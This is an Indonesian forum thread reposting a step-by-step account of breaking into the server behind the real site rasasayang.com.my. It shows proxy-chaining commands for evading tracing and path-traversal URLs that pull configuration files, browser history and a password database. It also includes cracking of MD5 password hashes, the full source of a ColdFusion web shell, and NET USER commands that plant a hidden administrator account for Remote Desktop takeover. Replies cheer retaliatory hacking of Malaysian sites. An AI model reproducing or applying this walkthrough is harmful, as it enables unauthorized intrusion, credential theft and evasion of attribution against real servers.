Studi Kasus kelemahan Server Situs www.rasasayang.com.my

[MimiHitam]

Ini cuma pengetahuan doang ya :toothy12:

http://www.jasakom.com/index.php?cat..._articleid=569

Oleh Satria Kelana
Published: Oktober 29, 2007

javascript:void(0)

Situs www.rasasayang.com.my secara sekilas terlihat tidak memiliki bug yang cukup berarti untuk dieksploitasi oleh hacker. Namun ternyata masih terdapat celah yang bisa dieksploitasi. Berikut ini langkah-langkah yang dilakukan untuk membobol server ini.

1. Persiapan hacking
2. Pemeriksaan bug
3. Mendownload source code dan file konfigurasi
4. Mengupload file explorer dan windows shell command interface
5. Mengambil-alih server

Saya akan menjelaskan langkah-langkah di atas satu per satu.

1. Persiapan hacking
Sebelumnya Anda harus memiliki list proxy server yang mendukung proxy-chain untuk menghindari pelacakan. Anda harus mengkoneksikan sekurang-kurangnya 2 anonymous proxy server di 2 negara yang berbeda. Anda dengan mudah mendapatkan proxy server di search engine Google. Namun bila Anda menemukan lebih banyak transparant proxy server, gunakan 3 transparant proxy server yang mendukung chain, dan rutekan koneksinya melintasi beberapa negara, misalnya: Brazil - China - India, sehingga bila dilacak oleh “Pengejar Hacker” maka mereka hanya akan melacak koneksi dari ISP Indonesia ke China.

Pada sistem operasi windows, anda dapat menggunakan software mungil bouncer.exe untuk melakukan proxy-chain melalui parameter tunneling. Contoh dengan IP lokal 192.168.0.5:

bouncer –bind 192.168.0.5 –port 8881 –tunnel 82.0.0.1:8080 –destination 221.0.0.1:8080
bouncer –bind 192.168.0.5 –port 8882 –tunnel 192.168.0.5:8881 –destination 200.0.0.1:3128

Pada contoh di atas, bila kita mengeset proxy pada internet browser menjadi 192.168.0.5:8882 maka koneksi kita akan dirutekan melalui proxy server: 82.0.0.1:8080 -> 221.0.0.1:8080 -> 200.0.0.1:3128 -> www.rasasayang.com.my

Karena kita menggunakan transparant proxy server maka IP 221.0.0.1 juga akan terlacak. Namun ini tidak masalah karena kita sebenarnya terkoneksi dari proxy server 82.0.0.1.
2. Pemeriksaan bug
Pemeriksaan dilakukan secara trial and error pada setiap parameter yang diperkirakan mengandung bug. Pada kasus ini terdapat bug pada module downloading file untuk mendownload file .mp3 dengan URL:http://www.rasasayang.com.my/index.c...dl_comm&cfile=

Dari parameter di atas terlihat file dl_comm.cfm terletak pada folder download. Sekarang kita coba secara langsung mengeksekusi pada file .cfm tersebut dan menyisipkan parameter querystring cfile untuk mendapatkan source codenya.

http://www.rasasayang.com.my/downloa...ad\dl_comm.cfm

Ternyata hasilnya adalah file source code dl_comm.cfm. Berikut ini adalah bagian penting dari source code tersebut.

<cfheader name=”Content-Disposition” value=”attachment; filename=#cfile#”>
<!—<cfcontent type=”audio/mpeg3,video/mpeg” file=”#abs_dir#_mp3\#cfile#”>—>
<cfcontent type=”unknown/unknown” file=”#abs_dir#_mp3\#cfile#”>

Dari source code ini kita bisa menemukan bahwa terdapat parameter querystring abs_dir dan cfile yang bisa mengarahkan kita untuk mendownload file apa saja dari harddisk server.
3. Mendownload source code dan file konfigurasi

Kita jejaki setiap link di dalam source code-nya, kemudian kita download. Misalnya:

http://www.rasasayang.com.my/downloa...pplication.cfm
http://www.rasasayang.com.my/downloa...E=..\index.cfm

Dari kumpulan file inilah kemudian kita mendapatkan bocoran source code situs www.rasasayang.com.my yang telah diberitakan sebelumnya di situs ini.

Selanjutnya kita download file konfigurasi web servernya dengan cara berikut:

File konfigurasi IIS:
http://www.rasasayang.com.my/downloa...v\MetaBase.xml

File konfigurasi CFM:
http://www.rasasayang.com.my/downloa...\neo-query.xml

File History Internet Explorer untuk Administrator
http://www.rasasayang.com.my/downloa...E=..\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat

Dari file Metabase.xml kita dapat mengetahui bahwa terdapat beberapa situs web yang hosting di server ini.
- www.powerofpaytv.com, www.thepowerofpaytv.com yang terletak di E:\webuser\web\powerofpaytv.com
- www.jedrealty.com yang terletak di E:\webuser\web\jedrealty.com
- www.rasasayang.com.my yang terletak di E:\webuser\web\rasasayang.com.my

Dari file index.dat kita dapat mengetahui bahwa Administrator melakukan proses administrasi upload dan download file dengan mengunjungi http://www.powerofpaytv.com/cometadvance/

Dari file neo-query.xml kita dapat mengetahui file database pengguna terletak di E:\webuser\web\powerofpaytv.com\_db\dcm_casbaa_db. mdb yang dapat kita download melalui:
http://www.rasasayang.com.my/downloa..._casbaa_db.mdb

Dari file dcm_casbaa_db.mdb ini kita memperoleh user-id dan password dalam bentuk MD5 hash. Dengan menggunakan software decryptor misalnya Cain & Abel kita dapat mendecyrpt passwordnya.
4. Mengupload file explorer dan windows shell command interface
Dari http://www.powerofpaytv.com/cometadvance/ kita dapat mengupload file explorer misalnya ASF File Explorer yang dibuat oleh Nahuel Foronda and Laura Arguello. Dengan ASF File Explorer, kita dapat membrowse file di harddisk secara lebih leluasa, serta meng-upload, download dan delete file.

Untuk windows shell command interface, kita buatkan file.CFM dengan script berikut:

<cfparam name=”strRun” default=”"><cfparam name=”strArg” default=”"><cfparam name=”cmdResult” default=”">
<cfif strRun neq “”>
<cfsavecontent variable=”cmdResult”><cfexecute name=”#strRun#” arguments=”#strArg#” timeout=”5″></cfexecute></cfsavecontent>
</cfif><HTML><BODY style=”font-size: 9pt; font-family: ‘Courier New’”>
<cfform name=”frmShell” action=”" method=”post”>
<cfinput type=”text” name=”strRun” value=”#strRun#” required=”yes” message=”Please enter your command.” maxlength=”255″>
<cfinput type=”text” name=”strArg” value=”#strArg#” required=”no” maxlength=”255″>
<input name=btnG type=submit value=”Execute”>
</cfform><cfoutput>
#Replace(Replace(Replace(’#cmdResult#’, ‘<’, ‘&lt;’, ‘all’), ‘>’, ‘&gt;’, ‘all’), Chr(10), ‘<br>’, ‘all’)#
</cfoutput></BODY></HTML>
5. Mengambil-alih server
Kita dapat menambahkan user login windows (group administrator) dengan mengeksekusi perintah berikut pada windows shell command interface.

NET USER mbahjambon mypassword /ADD /ACTIVE:YES /EXPIRES:NEVER /PASSWORDCHG:YES
NET LOCALGROUP Administrators mbahjambon /ADD

Dengan menggunakan Windows Remote Desktop kita dapat mengambil alih servernya (IP 202.157.176.17). Koneksinya tetap dilakukan melalui proxy tunneling seperti contoh berikut:

bouncer –bind 192.168.0.5 –port 8883 –tunnel 82.0.0.1:8080 –destination 221.0.0.1:8080
bouncer –bind 192.168.0.5 –port 8884 –tunnel 192.168.0.5:8883 –destination 202.157.176.17:3389

sehingga kita dapat meremote server melalui Remote Desktop pada alamat: 192.168.0.5:8884

Demikian cara yang digunakan untuk membobol server situs www.rasasayang.com.my. Dengan membaca tulisan ini, mudah-mudahan para pembaca dapat menghindari bug sejenis pada server Anda.

[octopus]

@_@ ga jelas......emang rasasayang.com nyediain apaseh?masa cuma mp3?bukan duit gitu??<<maklum suka urusan web cari duit wwkwkwkw........

[rizki86]

wew si oktopus mo nya duid doang.... klo ga duid barang gratis...

noh ilmu gratis ambil juga dong ~_~

[MimiHitam]

@_@ ga jelas......emang rasasayang.com nyediain apaseh?masa cuma mp3?bukan duit gitu??<<maklum suka urusan web cari duit wwkwkwkw........

isi rasa sayang : http://forum.indogamers.us/showthrea...=32643&page=15
tentang lagu rasa sayange indonesia yang dibajak buat jingle pariwisata malaysia, terus kan ga seneng dong kalo dibajak, ya udah itu web dihack.. ga pernah baca berita ya? disini bahas study kasus dan pengetahuan buat bug yg ada pada rasa sayang walopun gua ga gitu ngerti maksudnya @_@

[PORNSTAR]

studi kelemahan indogamers.us dunk plis

[bh_diansastro]

@_@ ga jelas......emang rasasayang.com nyediain apaseh?masa cuma mp3?bukan duit gitu??<<maklum suka urusan web cari duit wwkwkwkw........

Matre lo!!!


cari DI adsense sono bkn di forum

[rizki86]

ooo itu situs tentang lagu indo yang di embat orang malay itu.... baru taw gw...

oom mimi, sekedar saran nih...
klo bikin tutorial semacem diatas bisa di cantumin ga tingkat ke ahlian user, misal nya tingkat nya ada pemula, ahli, web master...

jadi kita tau tingkatan yang bisa melakukan hal dari artikel tersebut.

[-CheGuevara-]

wah boleh juga tuh...!!!
pengen rasanya gw hack org malay...!!
maen ngambil lagu2 aja... SITU OKEH...!!!